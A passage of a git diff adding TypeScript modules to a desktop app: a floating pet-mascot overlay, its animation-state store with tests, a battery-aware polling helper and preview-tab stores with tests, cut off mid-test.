+  | { type: 'bounds'; bounds: PetOverlayBounds }
+  | { type: 'open-app' }
+  | { type: 'toggle-app' }
+  | { type: 'scale'; scale: number }
+
+// Persisted across restarts: was the pet popped out, and where on the desktop
+// did the user leave it. Keyed v1; bump if the bounds shape ever changes.
+const OVERLAY_ACTIVE_KEY = 'clawcodex.desktop.pet-overlay-active.v1'
+const OVERLAY_BOUNDS_KEY = 'clawcodex.desktop.pet-overlay-bounds.v1'
+
+export const $petOverlayActive = atom(storedBoolean(OVERLAY_ACTIVE_KEY, false))
+
+// Persist the in/out choice so a popped-out pet comes back popped out.
+$petOverlayActive.subscribe(active => persistBoolean(OVERLAY_ACTIVE_KEY, active))
+
+/**
+ * Reaction signal forwarded to the popped-out overlay window via the state
+ * mirror below. `id` is a monotonic nonce so the overlay fires once per bump;
+ * `kind` selects the renderer (today only `vibe` → hearts). Generic on purpose
+ * so future reactions (emoji, etc.) ride the same channel.
+ */
+export interface PetReaction {
+  id: number
+  kind: string
+}
+
+export const $petReaction = atom<PetReaction | null>(null)
+
+export const forwardPetReaction = (kind: string) => $petReaction.set({ id: ($petReaction.get()?.id ?? 0) + 1, kind })
+
+function loadSavedBounds(): null | PetOverlayBounds {
+  try {
+    const raw = storedString(OVERLAY_BOUNDS_KEY)
+
+    if (!raw) {
+      return null
+    }
+
+    const parsed = JSON.parse(raw) as Partial<PetOverlayBounds>
+
+    if (
+      typeof parsed.x === 'number' &&
+      typeof parsed.y === 'number' &&
+      typeof parsed.width === 'number' &&
+      typeof parsed.height === 'number'
+    ) {
+      return { height: parsed.height, width: parsed.width, x: parsed.x, y: parsed.y }
+    }
+  } catch {
+    // fall through to null
+  }
+
+  return null
+}
+
+function saveBounds(bounds: PetOverlayBounds): void {
+  persistString(OVERLAY_BOUNDS_KEY, JSON.stringify(bounds))
+}
+
+// The overlay window is padded around the sprite so the bubble (above), the
+// drag area, and the pop-up composer all have room; the pet sits near the
+// bottom and the rest of the rectangle is transparent + click-through.
+const OVERLAY_PAD_X = 100
+const OVERLAY_PAD_Y = 200
+const OVERLAY_MIN_W = 240
+const OVERLAY_MIN_H = 300
+
+/**
+ * Window bounds (width/height) that fully contain the pet at a given scale, plus
+ * the padding for its bubble/composer/drag margins. The single source of truth
+ * for both the initial pop-out size and the live wheel-to-scale resize, so the
+ * sprite is never cropped by the window edge no matter how big it's scaled.
+ */
+export function overlayWindowSize(frameW: number, frameH: number, scale: number): { width: number; height: number } {
+  return {
+    width: Math.max(OVERLAY_MIN_W, Math.round(frameW * scale + OVERLAY_PAD_X)),
+    height: Math.max(OVERLAY_MIN_H, Math.round(frameH * scale + OVERLAY_PAD_Y))
+  }
+}
+
+let stateUnsubs: Array<() => void> = []
+let controlUnsub: (() => void) | null = null
+let submitHandler: ((text: string) => void) | null = null
+let openAppHandler: (() => void) | null = null
+let scaleHandler: ((scale: number) => void) | null = null
+
+function currentPayload(): PetOverlayStatePayload {
+  return {
+    info: $petInfo.get(),
+    activity: $petActivity.get(),
+    busy: $busy.get(),
+    awaiting: $awaitingResponse.get(),
+    unread: $petUnread.get(),
+    reaction: $petReaction.get()
+  }
+}
+
+function pushNow(): void {
+  window.clawcodexDesktop?.petOverlay?.pushState(currentPayload())
+}
+
+/**
+ * Open the overlay window and start mirroring live state into it. The main
+ * process echoes back the actual screen bounds it used, which we persist so the
+ * pet reopens exactly where the user left it.
+ */
+function openOverlay(request: PetOverlayOpenRequest): void {
+  const api = window.clawcodexDesktop?.petOverlay
+
+  if (!api || stateUnsubs.length) {
+    return
+  }
+
+  $petOverlayActive.set(true)
+  void api.open(request).then(res => {
+    if (res?.bounds) {
+      saveBounds(res.bounds)
+    }
+
+    pushNow()
+  })
+
+  // Mirror live state into the overlay. subscribe() fires immediately, so the
+  // overlay also gets a first frame the moment it's ready (it asks via 'ready').
+  stateUnsubs = [
+    $petInfo.subscribe(pushNow),
+    $petActivity.subscribe(pushNow),
+    $busy.subscribe(pushNow),
+    $awaitingResponse.subscribe(pushNow),
+    $petUnread.subscribe(pushNow),
+    $petReaction.subscribe(pushNow)
+  ]
+}
+
+/**
+ * Pop the pet out of the window. `petRect` is the in-window sprite's viewport
+ * rect; we grow it to the padded overlay size and center the window on the
+ * pet's old spot (main.ts adds the window's screen origin). If the user has
+ * popped out before, reopen at that remembered desktop spot instead.
+ */
+export function popOutPet(petRect: PetOverlayBounds): void {
+  if ($petOverlayActive.get() || stateUnsubs.length) {
+    return
+  }
+
+  const saved = loadSavedBounds()
+
+  if (saved) {
+    openOverlay({ bounds: saved, screen: true })
+
+    return
+  }
+
+  // Size the window off the pet's scale (not the measured rect, which includes
+  // the shadow) so it matches the live resize math exactly — no jump on open.
+  const pet = $petInfo.get()
+  const { width, height } = overlayWindowSize(pet.frameW ?? 192, pet.frameH ?? 208, pet.scale ?? 0.33)
+  const x = Math.round(petRect.x - (width - petRect.width) / 2)
+  const y = Math.round(petRect.y - (height - petRect.height) / 2)
+
+  openOverlay({ bounds: { height, width, x, y }, screen: false })
+}
+
+/**
+ * Restore the overlay on boot if the pet was popped out when the app last
+ * closed. Requires a remembered desktop spot — without one we fall back to the
+ * in-window pet rather than spawning an orphan window at the origin.
+ */
+export function restorePetOverlay(): void {
+  if (!window.clawcodexDesktop?.petOverlay || !$petOverlayActive.get() || stateUnsubs.length) {
+    return
+  }
+
+  const saved = loadSavedBounds()
+
+  if (!saved) {
+    $petOverlayActive.set(false)
+
+    return
+  }
+
+  openOverlay({ bounds: saved, screen: true })
+}
+
+/** Pop the pet back into the window (closes the overlay window). */
+export function popInPet(): void {
+  for (const off of stateUnsubs) {
+    off()
+  }
+
+  stateUnsubs = []
+  $petOverlayActive.set(false)
+  void window.clawcodexDesktop?.petOverlay?.close()
+}
+
+/** Register the handler that turns an overlay composer submit into a real send. */
+export function setPetOverlaySubmitHandler(fn: ((text: string) => void) | null): void {
+  submitHandler = fn
+}
+
+/** Register the handler that opens the app to the most recent thread (mail icon). */
+export function setPetOverlayOpenAppHandler(fn: (() => void) | null): void {
+  openAppHandler = fn
+}
+
+/** Register the handler that persists a scale resized via the overlay's Alt+wheel gesture. */
+export function setPetOverlayScaleHandler(fn: ((scale: number) => void) | null): void {
+  scaleHandler = fn
+}
+
+/**
+ * Wire the overlay→renderer control channel once. Returns a disposer. Idempotent
+ * — a second call while already wired is a no-op.
+ */
+export function initPetOverlayBridge(): () => void {
+  const api = window.clawcodexDesktop?.petOverlay
+
+  if (!api || controlUnsub) {
+    return () => {}
+  }
+
+  controlUnsub = api.onControl(payload => {
+    if (payload?.type === 'pop-in') {
+      popInPet()
+    } else if (payload?.type === 'ready') {
+      // The overlay just mounted — hand it the current frame.
+      pushNow()
+    } else if (payload?.type === 'submit' && typeof payload.text === 'string') {
+      submitHandler?.(payload.text)
+    } else if (payload?.type === 'bounds' && payload.bounds) {
+      // The user dragged the overlay to a new desktop spot — remember it.
+      saveBounds(payload.bounds)
+    } else if (payload?.type === 'scale' && typeof payload.scale === 'number') {
+      // The user resized the popped-out pet (Alt+wheel) — persist it through
+      // the main renderer's gateway; the new scale rides $petInfo back to the
+      // overlay on the next push, keeping both surfaces in sync.
+      scaleHandler?.(payload.scale)
+    } else if (payload?.type === 'open-app') {
+      // Mail icon: surface the app on the most recent thread (main.ts already
+      // focused the window before forwarding this) and mark it read.
+      clearPetUnread()
+      openAppHandler?.()
+    }
+  })
+
+  return () => {
+    controlUnsub?.()
+    controlUnsub = null
+  }
+}
diff --git a/ui-desktop/src/store/pet.test.ts b/ui-desktop/src/store/pet.test.ts
new file mode 100644
index 000000000..c3fa2962f
--- /dev/null
+++ b/ui-desktop/src/store/pet.test.ts
@@ -0,0 +1,146 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  $petActivity,
+  $petAtRest,
+  $petMotion,
+  $petState,
+  derivePetState,
+  flashPetActivity,
+  hasPetSpriteForMeta,
+  mergePetInfoMeta,
+  type PetInfo,
+  setPetActivity
+} from './pet'
+
+describe('derivePetState', () => {
+  it('rests at idle by default and uses waiting when awaiting input', () => {
+    expect(derivePetState({})).toBe('idle')
+    expect(derivePetState({ awaitingInput: true })).toBe('waiting')
+  })
+
+  it('runs when busy or a tool is executing', () => {
+    expect(derivePetState({ busy: true })).toBe('run')
+    expect(derivePetState({ toolRunning: true })).toBe('run')
+  })
+
+  it('reviews while reasoning (below tool, above bare busy)', () => {
+    expect(derivePetState({ reasoning: true })).toBe('review')
+    expect(derivePetState({ reasoning: true, busy: true })).toBe('review')
+    expect(derivePetState({ reasoning: true, toolRunning: true })).toBe('run')
+  })
+
+  it('waits (blocked on the user) above the in-flight signals', () => {
+    expect(derivePetState({ awaitingInput: true, toolRunning: true, busy: true })).toBe('waiting')
+    // but a finish beat still wins over waiting
+    expect(derivePetState({ justCompleted: true, awaitingInput: true })).toBe('wave')
+  })
+
+  it('honors the full priority chain: error > celebrate > complete > tool', () => {
+    expect(derivePetState({ error: true, celebrate: true, busy: true })).toBe('failed')
+    expect(derivePetState({ celebrate: true, justCompleted: true, toolRunning: true })).toBe('jump')
+    expect(derivePetState({ justCompleted: true, toolRunning: true })).toBe('wave')
+  })
+})
+
+describe('roam motion', () => {
+  it('only reports at-rest when the agent-driven state is plain idle', () => {
+    $petActivity.set({})
+    expect($petAtRest.get()).toBe(true)
+
+    $petActivity.set({ busy: true })
+    expect($petAtRest.get()).toBe(false)
+
+    $petActivity.set({})
+    expect($petAtRest.get()).toBe(true)
+  })
+
+  it('shows the roam pose while wandering, but never overrides real activity', () => {
+    $petActivity.set({})
+    $petMotion.set('run')
+    expect($petState.get()).toBe('run')
+
+    // Hops surface the jump pose.
+    $petMotion.set('jump')
+    expect($petState.get()).toBe('jump')
+
+    // Activity wins over a wander in progress.
+    $petActivity.set({ reasoning: true, busy: true })
+    expect($petState.get()).toBe('review')
+
+    // Back at rest, the wander resumes its pose; clearing it returns to idle.
+    $petActivity.set({})
+    expect($petState.get()).toBe('jump')
+    $petMotion.set(null)
+    expect($petState.get()).toBe('idle')
+
+    $petActivity.set({})
+  })
+})
+
+describe('pet info metadata cache helpers', () => {
+  it('treats matching slug and spritesheet revision as a reusable sprite payload', () => {
+    const current = {
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Old Boba',
+      scale: 0.33,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048'
+    }
+
+    const meta = {
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.5,
+      spritesheetRevision: '100:2048'
+    }
+
+    expect(hasPetSpriteForMeta(current, meta)).toBe(true)
+    expect(mergePetInfoMeta(current, meta)).toMatchObject({
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.5,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048'
+    })
+  })
+
+  it('returns the same reference when nothing changed to avoid redundant store updates', () => {
+    const current: PetInfo = {
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.33,
+      spritesheetBase64: 'large-sprite-payload',
+      spritesheetRevision: '100:2048'
+    }
+
+    const meta = {
+      enabled: true,
+      slug: 'boba',
+      displayName: 'Boba',
+      scale: 0.33,
+      spritesheetRevision: '100:2048'
+    }
+
+    expect(mergePetInfoMeta(current, meta)).toBe(current)
+  })
+})
+
+describe('flashPetActivity', () => {
+  it('clears stale sibling beats so a completion never inherits a prior error', () => {
+    // A turn errors (sad), then the next turn finishes cleanly. The celebrate
+    // beat must win — error is highest priority, so a merge-only flash would
+    // keep the pet on the failed pose.
+    setPetActivity({ error: true })
+    flashPetActivity({ celebrate: true })
+
+    expect($petActivity.get().error).toBe(false)
+    expect($petState.get()).toBe('jump')
+
+    setPetActivity({})
+  })
+})
diff --git a/ui-desktop/src/store/pet.ts b/ui-desktop/src/store/pet.ts
new file mode 100644
index 000000000..3efb8f97d
--- /dev/null
+++ b/ui-desktop/src/store/pet.ts
@@ -0,0 +1,259 @@
+import { atom, computed } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import { $busy } from '@/store/session'
+
+/**
+ * Petdex mascot state for the desktop floating pet.
+ *
+ * The spritesheet payload comes from the gateway `pet.info` RPC (shared with
+ * the TUI). The animation *state* is derived here from the same activity
+ * signals the chat already tracks, mirroring the priority order documented in
+ * `agent/pet/state.py` so the Python and TS surfaces never drift.
+ */
+
+export type PetState = 'idle' | 'wave' | 'run' | 'failed' | 'review' | 'jump' | 'waiting'
+
+export interface PetInfo {
+  enabled: boolean
+  slug?: string
+  displayName?: string
+  mime?: string
+  spritesheetBase64?: string
+  // Stable sheet revision (`mtime_ns:size`) from the gateway; lets the desktop
+  // skip full sprite payload refreshes when the active pet hasn't changed.
+  spritesheetRevision?: string
+  frameW?: number
+  frameH?: number
+  framesPerState?: number
+  // Real (padding-trimmed) frame count per state row, from the engine. Lets the
+  // canvas step only frames that exist instead of a fixed framesPerState, which
+  // would animate into the transparent padding of ragged sheets (blank flash).
+  framesByState?: Record<string, number>
+  // Concrete Codex row counts (e.g. running-right may have 8 frames even though
+  // the ClawCodex "run" activity state uses the in-place running row).
+  framesByRow?: Record<string, number>
+  loopMs?: number
+  scale?: number
+  stateRows?: string[]
+}
+
+export interface PetInfoMeta {
+  enabled: boolean
+  slug?: string
+  displayName?: string
+  scale?: number
+  spritesheetRevision?: string
+}
+
+export function hasPetSpriteForMeta(info: PetInfo, meta: PetInfoMeta): boolean {
+  return (
+    meta.enabled &&
+    info.enabled &&
+    Boolean(info.spritesheetBase64) &&
+    info.slug === meta.slug &&
+    Boolean(info.spritesheetRevision) &&
+    info.spritesheetRevision === meta.spritesheetRevision
+  )
+}
+
+export function mergePetInfoMeta(info: PetInfo, meta: PetInfoMeta): PetInfo {
+  if (!meta.enabled) {
+    return info.enabled ? { enabled: false } : info
+  }
+
+  // Fast-path: nothing changed — return the same reference so callers can
+  // skip the store update (nanostores fires on .set() regardless of deep
+  // equality; returning `info` avoids a redundant re-render on every poll).
+  if (
+    info.enabled &&
+    info.slug === meta.slug &&
+    info.displayName === meta.displayName &&
+    info.scale === meta.scale &&
+    info.spritesheetRevision === meta.spritesheetRevision
+  ) {
+    return info
+  }
+
+  return {
+    ...info,
+    enabled: true,
+    slug: meta.slug,
+    displayName: meta.displayName,
+    scale: meta.scale,
+    spritesheetRevision: meta.spritesheetRevision
+  }
+}
+
+export interface PetActivity {
+  busy?: boolean
+  awaitingInput?: boolean
+  toolRunning?: boolean
+  reasoning?: boolean
+  error?: boolean
+  justCompleted?: boolean
+  celebrate?: boolean
+}
+
+/**
+ * Resolve the animation state from coarse activity signals.
+ *
+ * Priority (highest first) mirrors `agent.pet.state.derive_pet_state`:
+ * error → celebrate → justCompleted → awaitingInput → toolRunning → reasoning →
+ * busy → idle. `awaitingInput` (a clarify/approval blocking on the user) outranks
+ * the in-flight signals because the turn is paused on you, not working.
+ */
+export function derivePetState(activity: PetActivity): PetState {
+  if (activity.error) {
+    return 'failed'
+  }
+
+  if (activity.celebrate) {
+    return 'jump'
+  }
+
+  if (activity.justCompleted) {
+    return 'wave'
+  }
+
+  if (activity.awaitingInput) {
+    return 'waiting'
+  }
+
+  if (activity.toolRunning) {
+    return 'run'
+  }
+
+  if (activity.reasoning) {
+    return 'review'
+  }
+
+  if (activity.busy) {
+    return 'run'
+  }
+
+  return 'idle'
+}
+
+export const $petInfo = atom<PetInfo>({ enabled: false })
+export const $petActivity = atom<PetActivity>({})
+
+/** Pet installed + enabled with a loaded spritesheet (ready to show/react). */
+export const $petActive = computed($petInfo, info => info.enabled && Boolean(info.spritesheetBase64))
+
+/**
+ * Profile the pet RPCs should resolve against. Pets are per-profile — the active
+ * pet (`display.pet.*`) and the installed sprites live under each profile's
+ * CLAWCODEX_CONFIG_DIR — so every pet RPC carries this. The gateway no-ops it for the
+ * launch profile (own-profile backends already resolve it) and rebinds for any
+ * other profile, which is what makes per-profile pets work in app-global remote
+ * mode (one backend serving every profile).
+ */
+export function petProfile(): string {
+  return normalizeProfileKey($activeGatewayProfile.get())
+}
+
+/**
+ * Pet-local "you have a new message" flag, surfaced as the overlay's mail icon.
+ * Deliberately not real unread tracking: it flips on when a turn finishes while
+ * the app isn't focused, and off when the user opens the app via the mail icon
+ * (or returns to the window). No persistence — it's a glance hint, not state.
+ */
+export const $petUnread = atom(false)
+export const markPetUnread = () => $petUnread.set(true)
+export const clearPetUnread = () => $petUnread.set(false)
+
+/** Steady activity flags (toolRunning / reasoning) set + cleared by the stream. */
+export const setPetActivity = (next: Partial<PetActivity>) => $petActivity.set({ ...$petActivity.get(), ...next })
+
+let flashTimer: ReturnType<typeof setTimeout> | undefined
+
+/** Fire a transient reaction beat (error / celebrate / justCompleted) that
+ *  decays back to the steady state after `ms`.
+ *
+ *  Each beat first clears its siblings so a stale one can't win the priority
+ *  race: without this, a completion beat (`celebrate`) would merge on top of a
+ *  lingering `error`, and `derivePetState` checks `error` first — so a clean
+ *  finish would render the sad/failed pose. */
+export const flashPetActivity = (next: Partial<PetActivity>, ms = 1600) => {
+  setPetActivity({ celebrate: false, error: false, justCompleted: false, ...next })
+  clearTimeout(flashTimer)
+  flashTimer = setTimeout(() => setPetActivity({ celebrate: false, error: false, justCompleted: false }), ms)
+}
+
+export const setPetInfo = (info: PetInfo) => $petInfo.set(info)
+
+/**
+ * Resolve the live activity state from the dedicated activity atom, falling back
+ * to the always-present `$busy` chat signal so the pet reacts out of the box.
+ *
+ * `awaitingInput` (a clarify/approval blocking on the user) is an explicit flag
+ * on `$petActivity` — set by the controller from `$attentionSessionIds` and
+ * mirrored to the pop-out overlay through the same atom, so both surfaces agree
+ * without the overlay needing the session list.
+ */
+function deriveLivePetState(activity: PetActivity, busy: boolean): PetState {
+  const live = activity.busy ?? busy
+
+  return derivePetState({
+    busy: live,
+    awaitingInput: activity.awaitingInput,
+    // Steady flags only count mid-turn — ignore stale ones once at rest so an
+    // interrupted turn can't pin the pet on `run`/`review`.
+    toolRunning: live && activity.toolRunning,
+    reasoning: live && activity.reasoning,
+    error: activity.error,
+    justCompleted: activity.justCompleted,
+    celebrate: activity.celebrate
+  })
+}
+
+/**
+ * Opt-in: let the floating mascot wander around the window on its own while
+ * idle. Pure desktop-client behavior (no agent/config dependency), so it lives
+ * in localStorage like the pet's drag position — per-device, not per-profile.
+ */
+const ROAM_KEY = 'clawcodex.desktop.pet-roam.v1'
+export const $petRoam = atom<boolean>(storedBoolean(ROAM_KEY, false))
+
+export const setPetRoam = (on: boolean) => {
+  $petRoam.set(on)
+  persistBoolean(ROAM_KEY, on)
+}
+
+/**
+ * The pose the roam loop is currently driving: `run` while walking a surface,
+ * `jump` while hopping/falling between surfaces, or `null` at rest. Surfaced
+ * through `$petState` (below) so the canvas animates the wander without any prop
+ * change or re-render — it already subscribes to `$petState`.
+ */
+export const $petMotion = atom<PetState | null>(null)
+
+/**
+ * Horizontal travel direction while roaming: -1 left, 1 right, 0 not walking.
+ * The floating pet maps this to the directional run row + mirror, keeping the
+ * wander loop free of sprite-row knowledge.
+ */
+export const $petRoamDir = atom<-1 | 0 | 1>(0)
+
+/**
+ * Whether the agent-driven state is at rest (plain `idle`). The roam loop gates
+ * on this — never on `$petState` itself, which would feed back on its own
+ * `$petMotion`-driven pose and stall the wander.
+ */
+export const $petAtRest = computed(
+  [$petActivity, $busy],
+  (activity, busy): boolean => deriveLivePetState(activity, busy) === 'idle'
+)
+
+/**
+ * The live pet state. Activity always wins; only when the agent is at rest does
+ * a roam pose (walking → `run`, hopping → `jump`) show through, so the wander
+ * reads as deliberate movement.
+ */
+export const $petState = computed([$petActivity, $busy, $petMotion], (activity, busy, motion): PetState => {
+  const base = deriveLivePetState(activity, busy)
+
+  return base === 'idle' && motion ? motion : base
+})
diff --git a/ui-desktop/src/store/power.ts b/ui-desktop/src/store/power.ts
new file mode 100644
index 000000000..53a50cab4
--- /dev/null
+++ b/ui-desktop/src/store/power.ts
@@ -0,0 +1,30 @@
+/**
+ * AC ↔ battery mirror of the main process's powerMonitor.
+ *
+ * Backstop polls are already event-demoted and visibility-gated; battery is
+ * the third gate — on battery their cadence stretches (×4) so a laptop
+ * running ClawCodex in the background isn't spending its charge on safety-net
+ * refreshes. Live streaming and event-driven refreshes are untouched: this
+ * only slows timers whose job is catching what a degraded socket missed.
+ *
+ * Imported for its side effect from `main.tsx` (same pattern as
+ * store/active-work).
+ */
+
+import { atom } from 'nanostores'
+
+export const $onBattery = atom<boolean>(false)
+
+/** Multiply a backstop poll interval by this on battery. */
+export const BATTERY_POLL_MULTIPLIER = 4
+
+export function batteryPollInterval(intervalMs: number, onBattery: boolean): number {
+  return onBattery ? intervalMs * BATTERY_POLL_MULTIPLIER : intervalMs
+}
+
+if (typeof window !== 'undefined') {
+  const desktop = window.clawcodexDesktop
+
+  void desktop?.getOnBattery?.().then(onBattery => $onBattery.set(onBattery))
+  desktop?.onBatteryChanged?.(onBattery => $onBattery.set(onBattery))
+}
diff --git a/ui-desktop/src/store/preview-edit.ts b/ui-desktop/src/store/preview-edit.ts
new file mode 100644
index 000000000..7e28c85d8
--- /dev/null
+++ b/ui-desktop/src/store/preview-edit.ts
@@ -0,0 +1,30 @@
+import { atom } from 'nanostores'
+
+// URLs of preview targets that have unsaved spot-editor changes, keyed by
+// `target.url` so the rail can render a VS Code-style "modified" dot on the tab
+// without threading editor state up through the pane. The editor in
+// `preview-file.tsx` is the sole writer; the rail tabs are the readers.
+export const $dirtyPreviewUrls = atom<Record<string, true>>({})
+
+export function setPreviewDirty(url: string, dirty: boolean): void {
+  if (!url) {
+    return
+  }
+
+  const current = $dirtyPreviewUrls.get()
+  const has = Boolean(current[url])
+
+  if (dirty === has) {
+    return
+  }
+
+  if (dirty) {
+    $dirtyPreviewUrls.set({ ...current, [url]: true })
+
+    return
+  }
+
+  const next = { ...current }
+  delete next[url]
+  $dirtyPreviewUrls.set(next)
+}
diff --git a/ui-desktop/src/store/preview-persistence.test.ts b/ui-desktop/src/store/preview-persistence.test.ts
new file mode 100644
index 000000000..b8bb08572
--- /dev/null
+++ b/ui-desktop/src/store/preview-persistence.test.ts
@@ -0,0 +1,97 @@
+import { describe, expect, it } from 'vitest'
+
+import { decodePreviewTabs } from './preview'
+
+describe('persisted preview migration', () => {
+  it('upgrades a pre-PDF remote tab from binary to pdf', () => {
+    const source = '/remote/.clawcodex/desktop-attachments/spec.pdf'
+
+    const [restored] = decodePreviewTabs(
+      JSON.stringify([
+        {
+          id: `file:file://${source}`,
+          target: {
+            binary: true,
+            kind: 'file',
+            label: 'spec.pdf',
+            large: true,
+            path: source,
+            previewKind: 'binary',
+            source,
+            url: `file://${source}`
+          }
+        }
+      ])
+    )
+
+    expect(restored?.target.previewKind).toBe('pdf')
+  })
+
+  it('leaves a persisted non-PDF binary tab unchanged', () => {
+    const source = '/work/archive.zip'
+
+    const [restored] = decodePreviewTabs(
+      JSON.stringify([
+        {
+          id: `file:file://${source}`,
+          target: {
+            binary: true,
+            kind: 'file',
+            label: 'archive.zip',
+            path: source,
+            previewKind: 'binary',
+            source,
+            url: `file://${source}`
+          }
+        }
+      ])
+    )
+
+    expect(restored?.target.previewKind).toBe('binary')
+  })
+
+  it.each(['report.pdf#notes', 'report.pdf?draft'])('treats %s as a literal filesystem path', sourceName => {
+    const source = `/work/${sourceName}`
+
+    const [restored] = decodePreviewTabs(
+      JSON.stringify([
+        {
+          id: `file:file://${encodeURI(source)}`,
+          target: {
+            binary: true,
+            kind: 'file',
+            label: sourceName,
+            path: source,
+            previewKind: 'binary',
+            source,
+            url: `file:///work/${encodeURIComponent(sourceName)}`
+          }
+        }
+      ])
+    )
+
+    expect(restored?.target.previewKind).toBe('binary')
+  })
+
+  it('does not overwrite a non-binary PDF preview kind', () => {
+    const source = '/work/spec.pdf'
+
+    const [restored] = decodePreviewTabs(
+      JSON.stringify([
+        {
+          id: `file:file://${source}`,
+          target: {
+            kind: 'file',
+            label: 'spec.pdf',
+            path: source,
+            previewKind: 'text',
+            source,
+            url: `file://${source}`
+          }
+        }
+      ])
+    )
+
+    expect(restored?.target.previewKind).toBe('text')
+  })
+})
diff --git a/ui-desktop/src/store/preview-status.test.ts b/ui-desktop/src/store/preview-status.test.ts
new file mode 100644
index 000000000..e9ffbf322
--- /dev/null
+++ b/ui-desktop/src/store/preview-status.test.ts
@@ -0,0 +1,41 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+
+import {
+  $previewStatusBySession,
+  clearPreviewArtifacts,
+  dismissPreviewArtifact,
+  recordPreviewArtifact
+} from './preview-status'
+
+beforeEach(() => $previewStatusBySession.set({}))
+
+describe('recordPreviewArtifact', () => {
+  it('appends new targets newest-last and is idempotent', () => {
+    recordPreviewArtifact('s1', '/a/index.html', '/work')
+    recordPreviewArtifact('s1', '/a/about.html', '/work')
+    recordPreviewArtifact('s1', '/a/index.html', '/work')
+
+    expect($previewStatusBySession.get().s1.map(i => i.id)).toEqual(['/a/index.html', '/a/about.html'])
+  })
+
+  it('caps the list and derives a label', () => {
+    for (const n of [1, 2, 3, 4, 5]) {
+      recordPreviewArtifact('s1', `/a/p${n}.html`, '/work')
+    }
+
+    const list = $previewStatusBySession.get().s1
+    expect(list).toHaveLength(4)
+    expect(list[0].id).toBe('/a/p2.html')
+    expect(list[3].label).toBe('p5.html')
+  })
+
+  it('dismiss and clear remove rows', () => {
+    recordPreviewArtifact('s1', '/a/index.html', '/work')
+    recordPreviewArtifact('s1', '/a/about.html', '/work')
+    dismissPreviewArtifact('s1', '/a/index.html')
+    expect($previewStatusBySession.get().s1.map(i => i.id)).toEqual(['/a/about.html'])
+
+    clearPreviewArtifacts('s1')
+    expect($previewStatusBySession.get().s1).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/store/preview-status.ts b/ui-desktop/src/store/preview-status.ts
new file mode 100644
index 000000000..618f06f7b
--- /dev/null
+++ b/ui-desktop/src/store/preview-status.ts
@@ -0,0 +1,79 @@
+import { atom } from 'nanostores'
+
+import { previewName } from '@/lib/preview-targets'
+
+/**
+ * Session-scoped feed of previewable artifacts (HTML files, localhost dev URLs)
+ * a tool produced. Surfaced as compact links in the composer status stack —
+ * NOT auto-opened and NOT a bulky inline card. Click opens the rail preview or
+ * the browser; both are manual.
+ *
+ * Fed from the tool row itself (see tool-fallback.tsx) using the same detected
+ * target the inline card used, so detection parity is exact.
+ */
+export interface PreviewArtifact {
+  /** cwd captured at detection so a relative path still resolves on click. */
+  cwd: string
+  /** Dedupe key + display id (the raw target). */
+  id: string
+  label: string
+  target: string
+}
+
+const MAX_PER_SESSION = 4
+
+export const $previewStatusBySession = atom<Record<string, PreviewArtifact[]>>({})
+
+const writePreviews = (sid: string, items: PreviewArtifact[]) => {
+  const current = $previewStatusBySession.get()
+
+  if (items.length === 0) {
+    if (!current[sid]) {
+      return
+    }
+
+    const next = { ...current }
+    delete next[sid]
+    $previewStatusBySession.set(next)
+
+    return
+  }
+
+  $previewStatusBySession.set({ ...current, [sid]: items })
+}
+
+/**
+ * Record a detected artifact, newest last, capped. Idempotent: a target already
+ * in the list keeps its slot (the tool row re-registers on every render, so this
+ * must not churn the atom or reorder rows).
+ */
+export function recordPreviewArtifact(sid: string, target: string, cwd: string) {
+  const raw = target.trim()
+
+  if (!sid || !raw) {
+    return
+  }
+
+  const list = $previewStatusBySession.get()[sid] ?? []
+
+  if (list.some(item => item.id === raw)) {
+    return
+  }
+
+  writePreviews(sid, [...list, { cwd, id: raw, label: previewName(raw), target: raw }].slice(-MAX_PER_SESSION))
+}
+
+export function dismissPreviewArtifact(sid: string, id: string) {
+  const list = $previewStatusBySession.get()[sid]
+
+  if (list) {
+    writePreviews(
+      sid,
+      list.filter(item => item.id !== id)
+    )
+  }
+}
+
+export function clearPreviewArtifacts(sid: string) {
+  writePreviews(sid, [])
+}
diff --git a/ui-desktop/src/store/preview.test.ts b/ui-desktop/src/store/preview.test.ts
new file mode 100644
index 000000000..75ad78bdb
--- /dev/null
+++ b/ui-desktop/src/store/preview.test.ts
@@ -0,0 +1,167 @@
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+
+import { $rightRailActiveTabId } from './layout'
+import {
+  $previewServerRestart,
+  $previewServerRestartStatus,
+  $previewTabs,
+  $previewTarget,
+  beginPreviewServerRestart,
+  closePreviewForSource,
+  closeRightRail,
+  closeRightRailTab,
+  openPreview,
+  previewTabId,
+  type PreviewTarget,
+  progressPreviewServerRestart
+} from './preview'
+
+function fileTarget(source: string): PreviewTarget {
+  return { kind: 'file', label: source, path: source, previewKind: 'html', source, url: `file://${source}` }
+}
+
+function urlTarget(source: string): PreviewTarget {
+  return { kind: 'url', label: source, source, url: source }
+}
+
+function artifactTarget(id: string): PreviewTarget {
+  return { kind: 'artifact', label: id, source: id, url: id }
+}
+
+describe('preview store', () => {
+  beforeEach(() => {
+    $previewServerRestart.set(null)
+    closeRightRail()
+    window.localStorage.clear()
+  })
+
+  afterEach(() => {
+    $previewServerRestart.set(null)
+    closeRightRail()
+    window.localStorage.clear()
+  })
+
+  it('does not notify status subscribers for restart progress text', () => {
+    const statuses: string[] = []
+    const unsubscribe = $previewServerRestartStatus.subscribe(status => statuses.push(status))
+
+    beginPreviewServerRestart('task-1', 'http://localhost:5174')
+    progressPreviewServerRestart('task-1', 'first line')
+    progressPreviewServerRestart('task-1', 'second line')
+    unsubscribe()
+
+    expect(statuses).toEqual(['idle', 'running'])
+  })
+
+  it('opens the pane and fronts the new tab', () => {
+    openPreview(fileTarget('/work/demo.html'), 'tool-result')
+
+    expect($rightRailActiveTabId.get()).toBe('file:file:///work/demo.html')
+    expect($previewTarget.get()?.path).toBe('/work/demo.html')
